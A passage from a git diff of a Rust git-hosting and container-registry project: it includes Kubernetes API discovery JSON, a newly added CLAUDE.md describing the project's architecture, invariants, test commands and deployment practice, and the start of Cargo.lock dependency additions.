:"Current"}]},{"metadata":{"name":"events.k8s.io","creationTimestamp":null},"versions":[{"version":"v1","resources":[{"resource":"events","responseKind":{"group":"","version":"","kind":"Event"},"scope":"Namespaced","singularResource":"event","verbs":["create","delete","deletecollection","get","list","patch","update","watch"],"shortNames":["ev"]}],"freshness":"Current"}]},{"metadata":{"name":"authentication.k8s.io","creationTimestamp":null},"versions":[{"version":"v1","resources":[{"resource":"selfsubjectreviews","responseKind":{"group":"","version":"","kind":"SelfSubjectReview"},"scope":"Cluster","singularResource":"selfsubjectreview","verbs":["create"]},{"resource":"tokenreviews","responseKind":{"group":"","version":"","kind":"TokenReview"},"scope":"Cluster","singularResource":"tokenreview","verbs":["create"]}],"freshness":"Current"}]},{"metadata":{"name":"authorization.k8s.io","creationTimestamp":null},"versions":[{"version":"v1","resources":[{"resource":"localsubjectaccessreviews","responseKind":{"group":"","version":"","kind":"LocalSubjectAccessReview"},"scope":"Namespaced","singularResource":"localsubjectaccessreview","verbs":["create"]},{"resource":"selfsubjectaccessreviews","responseKind":{"group":"","version":"","kind":"SelfSubjectAccessReview"},"scope":"Cluster","singularResource":"selfsubjectaccessreview","verbs":["create"]},{"resource":"selfsubjectrulesreviews","responseKind":{"group":"","version":"","kind":"SelfSubjectRulesReview"},"scope":"Cluster","singularResource":"selfsubjectrulesreview","verbs":["create"]},{"resource":"subjectaccessreviews","responseKind":{"group":"","version":"","kind":"SubjectAccessReview"},"scope":"Cluster","singularResource":"subjectaccessreview","verbs":["create"]}],"freshness":"Current"}]},{"metadata":{"name":"autoscaling","creationTimestamp":null},"versions":[{"version":"v2","resources":[{"resource":"horizontalpodautoscalers","responseKind":{"group":"","version":"","kind":"HorizontalPodAutoscaler"},"scope":"Namespaced","singularResource":"horizontalpodautoscaler","verbs":["create","delete","deletecollection","get","list","patch","update","watch"],"shortNames":["hpa"],"categories":["all"],"subresources":[{"subresource":"status","responseKind":{"group":"","version":"","kind":"HorizontalPodAutoscaler"},"verbs":["get","patch","update"]}]}],"freshness":"Current"},{"version":"v1","resources":[{"resource":"horizontalpodautoscalers","responseKind":{"group":"","version":"","kind":"HorizontalPodAutoscaler"},"scope":"Namespaced","singularResource":"horizontalpodautoscaler","verbs":["create","delete","deletecollection","get","list","patch","update","watch"],"shortNames":["hpa"],"categories":["all"],"subresources":[{"subresource":"status","responseKind":{"group":"","version":"","kind":"HorizontalPodAutoscaler"},"verbs":["get","patch","update"]}]}],"freshness":"Current"}]},{"metadata":{"name":"batch","creationTimestamp":null},"versions":[{"version":"v1","resources":[{"resource":"cronjobs","responseKind":{"group":"","version":"","kind":"CronJob"},"scope":"Namespaced","singularResource":"cronjob","verbs":["create","delete","deletecollection","get","list","patch","update","watch"],"shortNames":["cj"],"categories":["all"],"subresources":[{"subresource":"status","responseKind":{"group":"","version":"","kind":"CronJob"},"verbs":["get","patch","update"]}]},{"resource":"jobs","responseKind":{"group":"","version":"","kind":"Job"},"scope":"Namespaced","singularResource":"job","verbs":["create","delete","deletecollection","get","list","patch","update","watch"],"categories":["all"],"subresources":[{"subresource":"status","responseKind":{"group":"","version":"","kind":"Job"},"verbs":["get","patch","update"]}]}],"freshness":"Current"}]},{"metadata":{"name":"certificates.k8s.io","creationTimestamp":null},"versions":[{"version":"v1","resources":[{"resource":"certificatesigningrequests","responseKind":{"group":"","version":"","kind":"CertificateSigningRequest"},"scope":"Cluster","singularResource":"certificatesigningrequest","verbs":["create","delete","deletecollection","get","list","patch","update","watch"],"shortNames":["csr"],"subresources":[{"subresource":"approval","responseKind":{"group":"","version":"","kind":"CertificateSigningRequest"},"verbs":["get","patch","update"]},{"subresource":"status","responseKind":{"group":"","version":"","kind":"CertificateSigningRequest"},"verbs":["get","patch","update"]}]}],"freshness":"Current"}]},{"metadata":{"name":"networking.k8s.io","creationTimestamp":null},"versions":[{"version":"v1","resources":[{"resource":"ingressclasses","responseKind":{"group":"","version":"","kind":"IngressClass"},"scope":"Cluster","singularResource":"ingressclass","verbs":["create","delete","deletecollection","get","list","patch","update","watch"]},{"resource":"ingresses","responseKind":{"group":"","version":"","kind":"Ingress"},"scope":"Namespaced","singularResource":"ingress","verbs":["create","delete","deletecollection","get","list","patch","update","watch"],"shortNames":["ing"],"subresources":[{"subresource":"status","responseKind":{"group":"","version":"","kind":"Ingress"},"verbs":["get","patch","update"]}]},{"resource":"ipaddresses","responseKind":{"group":"","version":"","kind":"IPAddress"},"scope":"Cluster","singularResource":"ipaddress","verbs":["create","delete","deletecollection","get","list","patch","update","watch"],"shortNames":["ip"]},{"resource":"networkpolicies","responseKind":{"group":"","version":"","kind":"NetworkPolicy"},"scope":"Namespaced","singularResource":"networkpolicy","verbs":["create","delete","deletecollection","get","list","patch","update","watch"],"shortNames":["netpol"]},{"resource":"servicecidrs","responseKind":{"group":"","version":"","kind":"ServiceCIDR"},"scope":"Cluster","singularResource":"servicecidr","verbs":["create","delete","deletecollection","get","list","patch","update","watch"],"subresources":[{"subresource":"status","responseKind":{"group":"","version":"","kind":"ServiceCIDR"},"verbs":["get","patch","update"]}]}],"freshness":"Current"}]},{"metadata":{"name":"policy","creationTimestamp":null},"versions":[{"version":"v1","resources":[{"resource":"poddisruptionbudgets","responseKind":{"group":"","version":"","kind":"PodDisruptionBudget"},"scope":"Namespaced","singularResource":"poddisruptionbudget","verbs":["create","delete","deletecollection","get","list","patch","update","watch"],"shortNames":["pdb"],"subresources":[{"subresource":"status","responseKind":{"group":"","version":"","kind":"PodDisruptionBudget"},"verbs":["get","patch","update"]}]}],"freshness":"Current"}]},{"metadata":{"name":"rbac.authorization.k8s.io","creationTimestamp":null},"versions":[{"version":"v1","resources":[{"resource":"clusterrolebindings","responseKind":{"group":"","version":"","kind":"ClusterRoleBinding"},"scope":"Cluster","singularResource":"clusterrolebinding","verbs":["create","delete","deletecollection","get","list","patch","update","watch"]},{"resource":"clusterroles","responseKind":{"group":"","version":"","kind":"ClusterRole"},"scope":"Cluster","singularResource":"clusterrole","verbs":["create","delete","deletecollection","get","list","patch","update","watch"]},{"resource":"rolebindings","responseKind":{"group":"","version":"","kind":"RoleBinding"},"scope":"Namespaced","singularResource":"rolebinding","verbs":["create","delete","deletecollection","get","list","patch","update","watch"]},{"resource":"roles","responseKind":{"group":"","version":"","kind":"Role"},"scope":"Namespaced","singularResource":"role","verbs":["create","delete","deletecollection","get","list","patch","update","watch"]}],"freshness":"Current"}]},{"metadata":{"name":"storage.k8s.io","creationTimestamp":null},"versions":[{"version":"v1","resources":[{"resource":"csidrivers","responseKind":{"group":"","version":"","kind":"CSIDriver"},"scope":"Cluster","singularResource":"csidriver","verbs":["create","delete","deletecollection","get","list","patch","update","watch"]},{"resource":"csinodes","responseKind":{"group":"","version":"","kind":"CSINode"},"scope":"Cluster","singularResource":"csinode","verbs":["create","delete","deletecollection","get","list","patch","update","watch"]},{"resource":"csistoragecapacities","responseKind":{"group":"","version":"","kind":"CSIStorageCapacity"},"scope":"Namespaced","singularResource":"csistoragecapacity","verbs":["create","delete","deletecollection","get","list","patch","update","watch"]},{"resource":"storageclasses","responseKind":{"group":"","version":"","kind":"StorageClass"},"scope":"Cluster","singularResource":"storageclass","verbs":["create","delete","deletecollection","get","list","patch","update","watch"],"shortNames":["sc"]},{"resource":"volumeattachments","responseKind":{"group":"","version":"","kind":"VolumeAttachment"},"scope":"Cluster","singularResource":"volumeattachment","verbs":["create","delete","deletecollection","get","list","patch","update","watch"],"subresources":[{"subresource":"status","responseKind":{"group":"","version":"","kind":"VolumeAttachment"},"verbs":["get","patch","update"]}]}],"freshness":"Current"}]},{"metadata":{"name":"admissionregistration.k8s.io","creationTimestamp":null},"versions":[{"version":"v1","resources":[{"resource":"mutatingwebhookconfigurations","responseKind":{"group":"","version":"","kind":"MutatingWebhookConfiguration"},"scope":"Cluster","singularResource":"mutatingwebhookconfiguration","verbs":["create","delete","deletecollection","get","list","patch","update","watch"],"categories":["api-extensions"]},{"resource":"validatingadmissionpolicies","responseKind":{"group":"","version":"","kind":"ValidatingAdmissionPolicy"},"scope":"Cluster","singularResource":"validatingadmissionpolicy","verbs":["create","delete","deletecollection","get","list","patch","update","watch"],"categories":["api-extensions"],"subresources":[{"subresource":"status","responseKind":{"group":"","version":"","kind":"ValidatingAdmissionPolicy"},"verbs":["get","patch","update"]}]},{"resource":"validatingadmissionpolicybindings","responseKind":{"group":"","version":"","kind":"ValidatingAdmissionPolicyBinding"},"scope":"Cluster","singularResource":"validatingadmissionpolicybinding","verbs":["create","delete","deletecollection","get","list","patch","update","watch"],"categories":["api-extensions"]},{"resource":"validatingwebhookconfigurations","responseKind":{"group":"","version":"","kind":"ValidatingWebhookConfiguration"},"scope":"Cluster","singularResource":"validatingwebhookconfiguration","verbs":["create","delete","deletecollection","get","list","patch","update","watch"],"categories":["api-extensions"]}],"freshness":"Current"}]},{"metadata":{"name":"apiextensions.k8s.io","creationTimestamp":null},"versions":[{"version":"v1","resources":[{"resource":"customresourcedefinitions","responseKind":{"group":"","version":"","kind":"CustomResourceDefinition"},"scope":"Cluster","singularResource":"customresourcedefinition","verbs":["create","delete","deletecollection","get","list","patch","update","watch"],"shortNames":["crd","crds"],"categories":["api-extensions"],"subresources":[{"subresource":"status","responseKind":{"group":"","version":"","kind":"CustomResourceDefinition"},"verbs":["get","patch","update"]}]}],"freshness":"Current"}]},{"metadata":{"name":"scheduling.k8s.io","creationTimestamp":null},"versions":[{"version":"v1","resources":[{"resource":"priorityclasses","responseKind":{"group":"","version":"","kind":"PriorityClass"},"scope":"Cluster","singularResource":"priorityclass","verbs":["create","delete","deletecollection","get","list","patch","update","watch"],"shortNames":["pc"]}],"freshness":"Current"}]},{"metadata":{"name":"coordination.k8s.io","creationTimestamp":null},"versions":[{"version":"v1","resources":[{"resource":"leases","responseKind":{"group":"","version":"","kind":"Lease"},"scope":"Namespaced","singularResource":"lease","verbs":["create","delete","deletecollection","get","list","patch","update","watch"]}],"freshness":"Current"}]},{"metadata":{"name":"node.k8s.io","creationTimestamp":null},"versions":[{"version":"v1","resources":[{"resource":"runtimeclasses","responseKind":{"group":"","version":"","kind":"RuntimeClass"},"scope":"Cluster","singularResource":"runtimeclass","verbs":["create","delete","deletecollection","get","list","patch","update","watch"]}],"freshness":"Current"}]},{"metadata":{"name":"discovery.k8s.io","creationTimestamp":null},"versions":[{"version":"v1","resources":[{"resource":"endpointslices","responseKind":{"group":"","version":"","kind":"EndpointSlice"},"scope":"Namespaced","singularResource":"endpointslice","verbs":["create","delete","deletecollection","get","list","patch","update","watch"]}],"freshness":"Current"}]},{"metadata":{"name":"flowcontrol.apiserver.k8s.io","creationTimestamp":null},"versions":[{"version":"v1","resources":[{"resource":"flowschemas","responseKind":{"group":"","version":"","kind":"FlowSchema"},"scope":"Cluster","singularResource":"flowschema","verbs":["create","delete","deletecollection","get","list","patch","update","watch"],"subresources":[{"subresource":"status","responseKind":{"group":"","version":"","kind":"FlowSchema"},"verbs":["get","patch","update"]}]},{"resource":"prioritylevelconfigurations","responseKind":{"group":"","version":"","kind":"PriorityLevelConfiguration"},"scope":"Cluster","singularResource":"prioritylevelconfiguration","verbs":["create","delete","deletecollection","get","list","patch","update","watch"],"subresources":[{"subresource":"status","responseKind":{"group":"","version":"","kind":"PriorityLevelConfiguration"},"verbs":["get","patch","update"]}]}],"freshness":"Current"}]},{"metadata":{"name":"helm.cattle.io","creationTimestamp":null},"versions":[{"version":"v1","resources":[{"resource":"helmchartconfigs","responseKind":{"group":"helm.cattle.io","version":"v1","kind":"HelmChartConfig"},"scope":"Namespaced","singularResource":"helmchartconfig","verbs":["delete","deletecollection","get","list","patch","create","update","watch"]},{"resource":"helmcharts","responseKind":{"group":"helm.cattle.io","version":"v1","kind":"HelmChart"},"scope":"Namespaced","singularResource":"helmchart","verbs":["delete","deletecollection","get","list","patch","create","update","watch"],"subresources":[{"subresource":"status","responseKind":{"group":"helm.cattle.io","version":"v1","kind":"HelmChart"},"verbs":["get","patch","update"]}]}],"freshness":"Current"}]},{"metadata":{"name":"k3s.cattle.io","creationTimestamp":null},"versions":[{"version":"v1","resources":[{"resource":"addons","responseKind":{"group":"k3s.cattle.io","version":"v1","kind":"Addon"},"scope":"Namespaced","singularResource":"addon","verbs":["delete","deletecollection","get","list","patch","create","update","watch"]},{"resource":"etcdsnapshotfiles","responseKind":{"group":"k3s.cattle.io","version":"v1","kind":"ETCDSnapshotFile"},"scope":"Cluster","singularResource":"etcdsnapshotfile","verbs":["delete","deletecollection","get","list","patch","create","update","watch"]}],"freshness":"Current"}]},{"metadata":{"name":"rustic-git.io","creationTimestamp":null},"versions":[{"version":"v1alpha1","resources":[{"resource":"environments","responseKind":{"group":"rustic-git.io","version":"v1alpha1","kind":"Environment"},"scope":"Cluster","singularResource":"environment","verbs":["delete","deletecollection","get","list","patch","create","update","watch"],"shortNames":["env"],"subresources":[{"subresource":"status","responseKind":{"group":"rustic-git.io","version":"v1alpha1","kind":"Environment"},"verbs":["get","patch","update"]}]},{"resource":"ownerbindings","responseKind":{"group":"rustic-git.io","version":"v1alpha1","kind":"OwnerBinding"},"scope":"Cluster","singularResource":"ownerbinding","verbs":["delete","deletecollection","get","list","patch","create","update","watch"],"shortNames":["ob"],"subresources":[{"subresource":"status","responseKind":{"group":"rustic-git.io","version":"v1alpha1","kind":"OwnerBinding"},"verbs":["get","patch","update"]}]},{"resource":"volumes","responseKind":{"group":"rustic-git.io","version":"v1alpha1","kind":"Volume"},"scope":"Cluster","singularResource":"volume","verbs":["delete","deletecollection","get","list","patch","create","update","watch"],"shortNames":["vol"],"subresources":[{"subresource":"status","responseKind":{"group":"rustic-git.io","version":"v1alpha1","kind":"Volume"},"verbs":["get","patch","update"]}]},{"resource":"workspaces","responseKind":{"group":"rustic-git.io","version":"v1alpha1","kind":"Workspace"},"scope":"Cluster","singularResource":"workspace","verbs":["delete","deletecollection","get","list","patch","create","update","watch"],"shortNames":["ws"],"subresources":[{"subresource":"status","responseKind":{"group":"rustic-git.io","version":"v1alpha1","kind":"Workspace"},"verbs":["get","patch","update"]}]}],"freshness":"Current"}]},{"metadata":{"name":"metrics.k8s.io","creationTimestamp":null},"versions":[{"version":"v1beta1","resources":[{"resource":"nodes","responseKind":{"group":"","version":"","kind":"NodeMetrics"},"scope":"Cluster","singularResource":"","verbs":["get","list"]},{"resource":"pods","responseKind":{"group":"","version":"","kind":"PodMetrics"},"scope":"Namespaced","singularResource":"","verbs":["get","list"]}],"freshness":"Current"}]}]} diff --git a/CLAUDE.md b/CLAUDE.md new file mode 100644 index 00000000..3dea48da --- /dev/null +++ b/CLAUDE.md @@ -0,0 +1,211 @@ +# CLAUDE.md + +This file provides guidance to Claude Code (claude.ai/code) when working with code in this repository. + +## Commands + +```sh +cargo test # workspace: every crate's unit tests plus tests/*.rs + # integration suite (the root package, `rustic-git-tests`, + # is a near-empty lib that only hosts tests/) +cargo test --test registry_blobs # one integration test file — still runs from the root +cargo test --test registry_http some_name # one test by name +cargo clippy --workspace -- -D warnings # CI gates on this (image.yml test job): every lib and + # bin, test targets excluded; --all-targets still has + # pre-existing lints in test targets — the bar there is + # no NEW warnings in files you touch. +./tests/registry_e2e.sh # real docker push/pull round trip; exit 77 = the + # docker half was skipped (no daemon) — not a pass +./tests/ws_e2e.sh # real server+api+agent+Cosmos+Azure+btrfs workspaces + # round trip against a k3s cluster (still three + # binaries — the agent is a controller now, not a + # poller — and rustic-git-api serves /v1/*); + # exit 77 = a prerequisite (root-capable btrfs, a + # reachable cluster with the CRDs installed, + # COSMOS_*/AZURE_* env) was missing — needs a Linux VM + # with btrfs and k3s, not this Mac + +cd web && bun install +bun run dev / lint / typecheck / build / test # turborepo; app in web/apps/web; test = bun test + # (*.test.ts are excluded from tsc — no bun-types) +``` + +Run a server locally without S3: `RUSTIC_GIT_S3_URL=file://./x` (or `mem://`, lost on exit). +Local scratch (host key, cache) defaults under `./.local/`, which is git-ignored. + +Workspace layout: `crates/{core,storage,gitbase,pulls,app,git,registry,api,workspaces}` are the +library crates; `bins/{server,api,worker,agent}` build the four deployed binaries (`rustic-git`, +`rustic-git-api`, `rustic-git-worker`, `rustic-git-agent` — the agent is root-only and runs as a +DaemonSet, one per btrfs-capable node, see "Workspaces and environments"); the root package is +`tests/`'s host only, not a facade. + +## The one invariant everything hangs off + +One SlateDB database per repo, and **exactly one node may have it open**. The routing middleware +in `bins/server/src/router/route.rs` (`repo_of` → `route_inner`) derives an ownership key from the URL **before +authentication** and refuses anything it cannot route, because opening a database on the wrong +node fences the legitimate owner (a `Closed error: detected newer DB client` in logs means this +happened). Pod `rustic-git-leader-0` is the leader by *name* (no election; set explicitly via +`RUSTIC_GIT_LEADER`, and every pod must agree); it alone writes the ownership map. It runs in its +own StatefulSet and holds no repositories — those live on `rustic-git-srv-{0..N}`. When adding any +route that touches a per-repo/per-image database, it must route — +`BROWSE_TAILS` in `bins/server/src/router/route.rs` is the contract, and `every_browse_route_is_routable` holds the +router and the middleware together. A handler that only reads the shared object store may be +served on any node (that is why `/api/{owner}/images` and `_catalog` are exceptions). + +## Two namespaces, one server + +- Git repos: DB at `repo/{owner}/{name}`, routing key `{owner}/{name}`. +- Container images (OCI registry, `/v2/...`): DB at `repo/img/{owner}/{name}`, routing key + `img/{owner}/{name}` (`crates/registry/src/`). `api`, `v2`, `img` are reserved owner names so the two + keyspaces cannot collide. An image is NOT tied to a repo of the same name. + +Registry layout in the object store: blobs `blobs/{owner}/{algo}/{hex}` (per-owner, shared +across that owner's images), manifest bytes `manifests/{owner}/{name}/{algo}/{hex}`. Tags, +upload sessions, referrer rows, pull counters live in the image's own DB (single writer ⇒ +atomic tag updates). + +## Load-bearing rules (violations have all been real bugs) + +- **Only two things ever delete a blob**: an explicit client `DELETE /v2/.../blobs/{digest}`, + and the GC sweep (`crates/registry/src/gc.rs`) — never a manifest path, because siblings share + layers. The sweep is keep-biased: any uncertainty (unreadable manifest) aborts it. +- **Manifest bytes are stored and returned verbatim.** The digest is over those exact bytes; + parse to read a field, never re-emit. +- **`Digest::parse` is the only way a path segment becomes an object-store key** (sha256 or + sha512, lowercase hex, exact length). Upload-session uuids are validated the same way. +- Every `/v2` error is the OCI envelope via `registry::oci_err`; auth flows through + `registry::auth::allow` (Basic and Bearer both; anonymous ≠ invalid credential — an + anonymous token from `/v2/token` must keep working for public pulls). +- Registry blob routes have their own body limit (`max_layer`, default 10 GiB) separate from + the git `max_body` (2 GiB); manifests have a third. Check which limit applies before assuming + a 413 is the handler's. +- The browse API mounts on the **peer listener only**; the public listener 404s `/api/`. + Credentials live as plain object-store keys (any node authenticates), not in SlateDB. +- **Markers under `index/` are views for listings, never authorization.** Owning nodes write them + and reconcile their visibility; the GC worker reconciles their structure. +- **The same rule governs the CRDs' `rustic-git.io/owner` and `/kind` labels.** `spec.owner` is the + truth; the labels are a view of it, and exist only because label selectors are indexed by the API + server while an arbitrary spec field is not (adding a `selectableFields` entry per query axis is + how a CRD becomes a database). `/v1` stamps them at create and the node controller RE-STAMPS them + on every reconcile (`heal_labels`), so an object written by any other path — a restored backup, a + migration, an operator with kubectl — becomes listable rather than being owned correctly and + invisible forever. Never authorize on a label; `may_act_on` reads `spec.owner`. +- **The `events` Redis stream (`crates/storage/src/events.rs`) is a nudge for the worker and a view for the + activity feed, never the record.** Every consumer keeps a fallback that doesn't depend on it + (the owner's periodic check/announce beats in `bins/server/src/lanes.rs`, the feed's `pulls_across` fallback) — verified + to still work with Redis entirely down. + +## PR merges live in the worker, not the server + +The owning node only RECORDS merge state (claim/outcome/mergeability — three peer-only routed +endpoints in `bins/server/src/browse_api/pulls.rs`) and re-announces stranded jobs on a 15s beat +(`App::announce_stranded_merges`). The actual merge runs in `rustic-git-worker` using the real +`git` binary (`crates/pulls/src/merge_worker.rs`): bare cache under the worker's cache dir, fetch/push over +the peer listener with `-c http.extraHeader` peer auth, `merge-tree --write-tree` for +merge/squash, a throwaway worktree for rebase, `push --force-with-lease` against the oid the +merge was computed from. Traps that were all real: the server speaks upload-pack protocol v2 +ONLY, and libgit2 has no v2 — git2/libgit2 cannot fetch from this server; pods have no git +identity, so every commit-writing git call must set GIT_COMMITTER_*/GIT_AUTHOR_* env; a retried +squash is caught by merged-tree == base-tree, not by ancestry or the lease. The `local()` vs +`networked()` split in `merge_worker.rs` is what keeps the peer secret out of error messages — +never format a networked argv into anything. + +Fetch packs are built with `TreeAdditionsComparedToAncestor` plus a full-tree second pass for +merge commits — gix-pack drops all-but-last-parent additions on a merge +(GitoxideLabs/gitoxide#2935); delete the workaround in `crates/git/src/protocol/upload/pack.rs` when that fixes. + +## Workspaces and environments + +`crates/workspaces` + `bins/agent` (`rustic-git-agent`) + `bins/api` (`rustic-git-api`) add a +second, unrelated control plane: btrfs-backed dev workspaces and multi-service environments, +separate from git storage — but sharing the registry namespace with container images: a +workspace/environment's pushed state lives as `vol/{owner}/{id}` in the SAME +`bins/server/src/vol_agent.rs` surface that owns `img/{owner}/{name}`, addressed by the server +tier (`rustic-git`), not `bins/api`. + +**Kubernetes is the reconcile substrate, and the CRDs are the source of truth.** +`crates/workspaces/src/crd.rs` defines `Volume`/`Workspace`/`Environment` in +`rustic-git.io/v1alpha1`, all cluster-scoped: `/v1` on `bins/api` writes **spec** (desired), each +node's controller writes **status** (observed) through the `/status` subresource, and RBAC plus +the ValidatingAdmissionPolicy in `deploy/k3s/agent-admission.yaml` — not convention — is what +stops a controller editing desired state: the agent's ClusterRole (`deploy/k3s/agent-rbac.yaml`, +whose header table IS the role) keeps `patch` on the main resources only for labels, finalizers +and the one spec field the parent's reconciler copies into its own child (`Volume.spec.restoreTo`), +and the policy refuses it any other spec change. Apply both files. There is no job queue, no lease, +no agent registration and no long poll: `/v1` writes ONE unplaced object and establishes no facts +about it — the node controllers CLAIM it (a guarded write of `status.nodeName`, remembered in +`status.compatibleNodes`), so two nodes can never contend for the same subvolume and the API never +places anything. `crd::Volume` is separate from `Workspace`/`Environment` on purpose — both own +exactly one btrfs subvolume with identical semantics — and it is a CHILD: the parent's controller +creates it with an ownerReference, so deleting the parent is the whole delete. Containers are +Deployments in a namespace +(`ws-{owner}`, `env-{id}`); `desiredState` Running/Stopped is `replicas` 1/0, which is also how a +stop survives a node reboot. Service-to-service DNS comes from CoreDNS, so `mongodb://db:27017` +resolves inside an environment's namespace. `model::validate_mount` still runs on every mount and +is still load-bearing — a hostPath source escapes just as a bind source did, and the API server +will happily mount `/` if we ask it to. + +Cosmos DB (`crates/workspaces/src/cosmos.rs`; `store::MemStore` in-process for dev/tests) now +holds ONLY cross-cluster `Region` metadata — `bins/api` is its only writer, via `/v1/regions`. +Where a CRD and Cosmos could disagree about a workspace, the CRD wins, always. Snapshot bytes (btrfs send streams, block images) go to per-region Azure blob storage, keyed +`blobs/{owner}/{algo}/{hex}` — content-addressed, so nothing scopes them to one test run or one +region deletion; that is deliberate (see `tests/ws_e2e.sh`'s cleanup comments). + +Four verbs, no separate commit step: `push` is the single mutating verb — `/v1` writes a +`SnapshotRequest` and the owning node fulfils it: snapshot + upload + register + move the `main` +ref, atomically, with an optional message (`GET /v1/volumes/{name}/history|refs` on `bins/api` +reads the result back as a label list of `done` SnapshotRequests, not from the registry). A +workspace created with `repo`/`branch` is seeded by an init container that clones it over SSH with +the owner's platform key, inside the workspace pod itself — no credential Secret is minted for it. +There is no user-facing un-pushed state; internally +`push` still stages a local RO snapshot before uploading it (the split survives only as a +crash-recovery seam — a push that dies mid-flight leaves the stage files and an internal +`unpushed` mark so a retried push picks them up, never re-snapshotting stray data or losing it). +`clone` (`POST /v1/workspaces/{id}/clone`, the one local-copy verb — "fork" appears nowhere +user-facing) is local-first when the source is materialized on the same pool +(`Engine::clone_local`, which works even on a source that has never pushed at all), else a +two-phase live copy (`Engine::clone_running`); its registry-history fallback always grafts onto +the source's last PUSHED history. `restore` (`POST /v1/workspaces/restore`) instead grafts onto +an explicit past **snapshot** — a PUSHED commit record, named by id. The agent +(`rustic-git-agent`, privileged, one pod per btrfs-capable node) is a controller, not a worker: +it watches its own node's objects and converges them (`bins/agent/src/controller.rs`), and its +identity is `$NODE_NAME` from the downward API, its liveness the DaemonSet's own probe. It still +reaches the SERVER tier (`WS_REGISTRY_URL`, not `bins/api`) for the `vol/{owner}/{id}` registry +surface — commit records and ref moves — and that is the only thing it calls over HTTP. +Stopping an environment always pushes its own subvolume first, and the Deployment deletes are +gated on the push having LANDED rather than merely been requested (`apply_environment`'s +`DesiredState::Stopped` arm) — the one place push happens without an explicit `/push` call. + +## Web app + +Next.js app router in `web/apps/web` (its own `CLAUDE.md`/`AGENTS.md` there warns the installed +Next.js differs from training data — read `node_modules/next/dist/docs/` when unsure). One shell +(`components/app/app-shell.tsx`) renders all chrome; `shell-nav.tsx`'s `place()` classifies the +URL as org / repo / image and picks the tab row — reserved names in `store::RESERVED_REPO_NAMES` +are what make that unambiguous. Copy existing siblings, not new patterns: `repo-list.tsx` for +filterable lists, repo `settings/` for destructive actions, `lib/time.ts` for size/date +formatting. Tokens over raw Tailwind colors; `--radius: 0` — sharp corners everywhere. +Editor TS diagnostics here are frequently stale; trust `bunx tsc --noEmit -p apps/web/tsconfig.json`. + +## Deploying + +CI builds images tagged with the commit SHA on push to master — but `web.yml` only runs when +`web/**` changed, so the two images do NOT move in lockstep; pin each yaml to the last SHA that +actually built that image. Flow: push → wait for the run → edit the image tags in +`deploy/rustic-git.yaml` / `deploy/rustic-git-web.yaml` → commit → `kubectl apply`. The +StatefulSet roll moves DB ownership between nodes; the first registry request to a moved image +can 500 once (known fenced-handle gap). The registry hostname (Cloudflare-proxied — verify with `dig` before touching ssl-redirect) and the app +hostname are different ingresses with different TLS assumptions — read the comments on both +Ingress objects before touching them. The worker liveness probe counts per-lane heartbeat files +and the web probes hit `/api/health`, so a yaml roll must never outrun its image repin. The +`rustic-git-jwt` Secret is required (pods fail closed without it), and Rust pods run as uid 1001 +with a read-only root — anything new that writes to disk needs a mount. + +## House style + +Comments explain WHY, never what; match the density of `bins/server/src/router/route.rs`. Deliberate shortcuts are +marked `// ponytail: ` — keep the marker when editing near one. +Commit subjects are imperative sentence case with no tool attribution. Design docs and plans +live in `docs/superpowers/`; the README's deep sections (ownership, write throughput, container +images) are accurate and worth reading before touching those areas. diff --git a/Cargo.lock b/Cargo.lock index 2f80b2c7..1dbf4ce9 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -103,6 +103,15 @@ dependencies = [ "zerocopy", ] +[[package]] +name = "aho-corasick" +version = "1.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c982642fa9e8606056828ee9a8505737230110bb1099153c79efe865c59d12ba" +dependencies = [ + "memchr", +] + [[package]] name = "aliasable" version = "0.1.3" @@ -124,6 +133,67 @@ dependencies = [ "libc", ] +[[package]] +name = "annotate-snippets" +version = "0.12.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f211a51805bc641f3ad5b7664c77d2547af685cc33b4cd8d31964027a46f13f1" +dependencies = [ + "anstyle", + "memchr", + "unicode-width", +] + +[[package]] +name = "anstream" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "824a212faf96e9acacdbd09febd34438f8f711fb84e09a8916013cd7815ca28d" +dependencies = [ + "anstyle", + "anstyle-parse", + "anstyle-query", + "anstyle-wincon", + "colorchoice", + "is_terminal_polyfill", + "utf8parse", +] + +[[package]] +name = "anstyle" +version = "1.0.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "940b3a0ca603d1eade50a4846a2afffd5ef57a9feac2c0e2ec2e14f9ead76000" + +[[package]] +name = "anstyle-parse" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "52ce7f38b242319f7cabaa6813055467063ecdc9d355bbb4ce0c68908cd8130e" +dependencies = [ + "utf8parse", +] + +[[package]] +name = "anstyle-query" +version = "1.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "40c48f72fd53cd289104fc64099abca73db4166ad86ea0b4341abe65af83dadc" +dependencies = [ + "windows-sys 0.61.2", +] + +[[package]] +name = "anstyle-wincon" +version = "3.0.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "291e6a250ff86cd4a820112fb8898808a366d8f9f58ce16d1f538353ad55747d" +dependencies = [ + "anstyle", + "once_cell_polyfill", + "windows-sys 0.61.2", +] + [[package]] name = "anyhow" version = "1.0.104" @@ -164,12 +234,30 @@ dependencies = [ "password-hash 0.6.1", ] +[[package]] +name = "arraydeque" +version = "0.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7d902e3d592a523def97af8f317b08ce16b7ab854c1985a0c671e6f15cebc236" + [[package]] name = "arrayvec" version = "0.7.8" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "d3fb67a6e08acf24fdeccbac2cb6ac4305825bd1f117462e0e6f2f193345ad56" +[[package]] +name = "async-broadcast" +version = "0.7.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "435a87a52755b8f27fcf321ac4f04b2802e337c8c4872923137471ec39c37532" +dependencies = [ + "event-listener", + "event-listener-strategy", + "futures-core", + "pin-project-lite", +] + [[package]] name = "async-channel" version = "2.5.0" @@ -182,6 +270,51 @@ dependencies = [ "pin-project-lite", ] +[[package]] +name = "async-compression" +version = "0.4.42" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e79b3f8a79cccc2898f31920fc69f304859b3bd567490f75ebf51ae1c792a9ac" +dependencies = [ + "compression-codecs", + "compression-core", + "pin-project-lite", + "tokio", +] + +[[package]] +name = "async-lock" +version = "3.4.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = 